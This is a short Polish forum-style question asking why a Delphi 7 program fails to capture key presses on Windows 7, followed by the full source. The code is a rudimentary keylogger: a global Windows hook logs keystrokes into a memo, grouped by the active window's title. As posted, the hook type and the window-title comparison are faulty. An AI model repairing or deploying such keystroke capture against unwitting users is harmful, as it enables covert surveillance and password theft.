Dlaczego mi ten kod nie działa tzn. nieprzechwytywane są naciskane klawisze. Delphi 7 i Windows 7.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Stdctrls, ComCtrls, Buttons;
type
TForm1 = class(TForm)
Memo: TMemo;
BitBtn1: TBitBtn;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
var
MainHook:HHook;
lpWnd:PCHar;
function KH(Code:integer; wParam: WPARAM; lParam:LPARAM):Longint ; stdcall;
var
Buffer:TEventMsg;
Wnd: array[0..255] of char;
procedure TK(Key:Byte);
begin
with Form1 do
begin
case Key of
13: Memo.Lines.Add('');
8: Memo.Lines.Add('[BCKSPC]');
27: Memo.Lines.Add('[esc]');
else Memo.Text := Memo.Text+ Chr(Key);
end; end end;
begin
Result := 0;
Buffer := PEventMsg(lParam)^;
if Buffer.message = WM_KEYDOWN then
begin
GetWindowText(Buffer.hwnd,Wnd, SizeOf(Wnd));
if Wnd<>lpWnd then
begin
lpWnd := Wnd;
Form1.Memo.Clear;
end;
TK(Buffer.paramL);
end
end;
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
MainHook := SetWindowsHookEx(WH_JOURNALPLAYBACK,KH,HInstance,0);
if (MainHook = NULL) then
raise Exception.Create('HOOK ERROR!');
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(MainHook);
end;
end.